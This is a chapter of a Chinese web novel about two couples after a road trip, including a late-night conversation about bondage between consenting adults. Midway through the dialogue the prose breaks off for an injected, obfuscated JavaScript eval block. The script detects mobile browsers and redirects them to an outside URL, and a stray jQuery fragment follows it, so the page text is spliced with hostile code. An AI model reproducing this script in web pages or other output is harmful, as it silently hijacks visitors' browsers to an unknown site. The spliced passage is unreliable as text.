真正让连漪觉得这趟自驾游没白来的风景是第三天辽阔的草原，和第四天到达的湖泊。气温还没回暖，但青绿和天蓝依旧是草原的主色调，湖泊里的水还结冰，一层层冰花堆叠，在余晖的照映下形成一片淡粉色的花海。


    大自然的风景让连漪这个没做过旅行功课的游客有些愧疚，他应该早点来看这些风景的。他们掉进了电影世界，随手一拍便是人生大片。


    四人在最后一个目的地停留了三天，除了去热门的旅游景点打卡，他们还去了几个小地方，参观牧场，葡萄酒庄园。


    第八天，全员返程。返程不是按照来时的线路返回，而是向南绕了些，穿越山脉抵达平原，一路的景色又不同。


    连漪发现他们一路的旅行得到了当地天气的优待，无论是长时间徒步游玩还是下车休息短暂拍照，都没扫兴。


    返程错开了法定节假日结束回城务工的时间，高速路除了多些车辆，也没有造成拥堵。


    回到家是第十天的傍晚，大家草草在家解决晚饭，各自回了房间。


    连漪半夜睡醒，下楼倒杯水喝，见楼下还开着灯。


    “时总？”


    时霖千看过来，打了招呼：“睡醒了？”


    “嗯，我下来找杯水喝。”连漪打了个哈欠，问道，“您怎么也醒了？”


    时霖千回：“给季落铭煮碗面，他饿了。


    虽然旅行的时候已经听过时霖千叫季落铭都是全名，但每次听都觉得时霖千叫得很特别，听起来郑重其事，却藏着仅对爱人的温柔，语气平常舒适，没有任何疏离感。


    谁说恋人一定要有爱称，全名就很好嘛，他和单岸也是叫全名。


    “要不要顺便吃点儿？”时霖千问。


    不问还好，这么一问，连漪还真饿了。


    “我……挺想吃的……”


    时霖千笑：“晚上没吃多少，现在感觉饿很正常，坐着吧，我给你盛一碗。”


    连漪：“谢谢时总。”


    时霖千：“没事。 ”


    连漪坐在桌前，有些不自在，双手不知道该往哪儿放。


    他知道时霖千很随和，但这不影响他觉得时霖千有距离感，这种距离感来自他对时霖千的了解少之又少，都是从季落铭或者单岸那里了解到的，也从没单独坐下来和对方聊过天。


    最主要的是，他是单岸法律意义上的父亲，虽然季落铭也是，但两个人给他的感觉就是不太一样。


    他在思考等会儿该和时霖千聊什么话题合适，没有单岸和季落铭在一旁接话，他很担心自己会把天给聊死。


    时霖千把面端上桌，说：“吃吧。”


    “谢谢……”


    连漪边吃边看时霖千背对着他盛出新的一碗面，脑子里继续斟酌要不要说点什么，可是看时霖千并没有要继续说话的意思。


    “怎么了？”时霖千转身笑着问，“想和我说点什么？”


    连漪摇头：“我没有，我在想您会问我些什么。”


    时霖千又笑：“希望我问你什么？”


    连漪小声说：“不知道。”


    “我也没有要问的，没有话题的时候可以不用制造话题，家里的氛围不需要用社交手段来维持。”时霖千继续说，“难道你和单岸在一起的时候也一直说话？”


    连漪：“那倒没有。”


    时霖千：“所以不用在没话说的时候把自己陷入不自在的状态，如果是工作场合，这会被判定为不自信的表现。”


    连漪释然：“我知道了。”


    时霖千将另一碗面端上桌，说：“你继续吃，我去把季落铭叫下来。”


    “好的。”


    连漪一个人留在厨房吃面，想想都觉得奇妙，起床喝水却能吃到一碗面，以前和爸妈住的时候，半夜起床吃东西是要被数落一顿的。


    他有些羡慕时霖千和季落铭两人的爱情，一个半夜饿了，另一个便进厨房煮东西吃。


    季落铭走下楼的时候，连漪比面对时霖千时的心情更加轻松。


    “真在这儿呢，连漪，睡醒了还是没睡？”季落铭走过来说话。


    “落铭哥，我睡醒了的。”连漪看着季落铭走到桌子对面坐下，身上穿着宽松舒适的长袖睡衣，刚睡醒眼眶有些红。


    没什么不对。


    但是……仔细听季落铭的声音，除了有些哑，还有鼻音。以他已有的经历来说，很难不往那方面想。


    连漪尽量忽视那些不正常，低头吃面。不能乱想不能乱想，即便是也没什么不对，这是他们家……


    “连漪。”季落铭忽然叫了他一声。


    连漪：“诶。”


    季落铭说：“刚才我想到一个问题，你到时候回学校读书，是住校还是申请外宿？”


    连漪：“啊……这个问题我还没想过，虽然学校在本市，但应该考虑住校吧，上课来回跑挺麻烦的。”


    季落铭想了想：“也对，像我早上起不来的只能住校，早课要早起的，能多睡一会儿是一会儿。”


    连漪：“是，我也这样想。”


    季落铭：“但是这样，你和单岸见面的次数会不会变少？”


    连漪笑：“他要准备比赛的时候，我们也没见几面的。”


    “也对。”季落铭左手撑着头，宽松的睡衣袖口下滑，漏出半截小手臂。


    好巧不巧，连漪抬眼看见了季落铭手腕处的红痕。


    这是，被绳子磨出的痕迹？


    他迅速收目光，好了，这下很难不乱想了，好像知道什么什么不得了的秘密！


    这碗面他就不该坐下来吃啊。


    之后季落铭再和他聊别的，他虽能正常回复，但思绪依旧停留在手腕处那抹红痕。


    “我吃饱了，落铭哥。”连漪快速起身走去水槽处洗碗，洗完迅速经过季落铭身后上楼。


    此时季落铭似乎也感觉不对劲，下意识摸了摸衣领，再看向手腕，要素察觉。


    “诶，连漪……”


    “落铭哥你继续吃，我回房休息了。”连漪匆匆上楼，到二楼拐角处，他回头瞥了一眼被单岸卖关子不知道什么用处的房间。


    某些逻辑莫名其妙连通了，说他胡思乱想吧，却又有迹可循。


    连漪重新漱了口才爬回床上，看见单岸躺着看手机，说了一句：“你也醒了？”


    单岸：“你出去的时候我就醒了。”


    “吃了一碗时总煮的面，落铭哥也醒了，还在下面呢。”连漪说。


    单岸“嗯”一声，没做别的反应，只是淡淡问道：“有什么新发现？”


    这个问句出现得很怪异，像是单岸已经习以为常发现过的。


    连漪藏不住事，直说：“真的有。”


    单岸：“说说看，让我听听新不新鲜？”


    连漪：“你是不是知道时总和落铭哥的什么事情？”


    单岸笑：“他俩是我爸，我有什么不知道的。”


    连漪：“是不是没告诉我？”


    单岸：“你是指哪方面？”


    连漪斟酌之后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462780|183586||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小心开口：“他们……我刚刚看到落铭哥手腕上有被勒过的痕迹，那种算不算是……情趣……？”


    单岸饶有兴趣看着连漪别扭的表情，笑着说：“你刚刚怎么不直接问清楚？”


    连漪：“我哪敢，问这些事情这么唐突，所以才回来问你。”


    “可以问的，他们不是一般人。”单岸说，“二班的。”


    连漪：“你别开玩笑，我刚刚在楼下真的很无助。”


    “这有什么，他们的事情与你无关，你能否接受也和他们无关。”单岸悠哉建议道，“我们其实也可以试试。”


    连漪：“什么？”


    单岸：“你所谓的……‘情趣’，你看到的小爸手腕的痕迹应该只是捆绑，这个我会。”


    连漪反应不过来：“先不说试不试的问题，什么叫做‘只是捆绑’？”触及位置领域，连漪满脑子问号。


    “这方面，有很多那什么……？”


    单岸：“看来你比我少一节性科普，到底想了解还是不想？”


    “展开说说。”说不好奇是假的。


    “展不开，总的来说只是一种特殊需求，你只要知道这是正常的就行。”单岸说。


    连漪忽然坐起身，问：“二楼的那个房间，也是特殊需求？”


    单岸点头：“当初时总向我解释的时候，我进去过一次，各种物件陈列，很震撼，在没有准确了解人体的开发程度的时候，我无法理解那些东西如何用在人的身上。不过还好，之后就接受了，我允许这些事物的存在，但自己可能不会深入掌握。”


    “如果你实在好奇，也可以问问时总能不能进去看看。”


    连漪：“深入掌握的意思是？”


    单岸：“成为掌控者，在约定的时间里做不平等的游戏，如果一起做游戏的人是你，那么你就需要完全听我的。”


    “还是别了。”连漪果断说，“我怕我没那么听话。”


    “那就没必要在意这些了，与我们无关。”单岸一把搂住连漪，继续说，“爸是真的很爱小爸，只是他们表达爱意的方式有很多种。”


    连漪：“我看得出，也没见你半夜给我煮过东西吃呢，我倒先吃上时总给落铭哥煮的面了。”


    单岸：“下次要是馋了，我给你做，但你半夜很少起床的。”


    连漪：“……也是。”


    两人闭眼重新酝酿睡意，连漪没过多久，忽然又说：“我们刚才是睡着了，时总和落铭哥会不会是没睡？”


    单岸闭着眼回答：“嗯，有可能。”


    连漪惊讶：“天，坐一整天车旅行回来，他们不觉得困吗？”


    “也可能睡过了。”单岸双手固定住连漪，“你现在要是不困，也可以做的。”


    连漪消停：“我睡了。”


    单岸：“睡吧。”


    又过了一会儿，连漪想起单岸说的话还没回答。


    “单岸。”连漪又叫了一声。


    单岸长长叹了一口气：“嗯？”


    连漪小声试探：“你刚刚说……捆绑，可以试试？”


    “你非要在我困倦的时候提这件事？”单岸缓了一会儿，补充道，“可以。”


    连漪问：“是什么感觉？”


    “你是问绑的还是被绑的？”单岸又一叹气，“算了，我都回答不上，要不我去借根绳子？”


    连漪：“还是别了。”


    单岸继续捉弄连漪：“或者睡醒去问问爸和小爸？”


    连漪翻身远离单岸：“晚安。”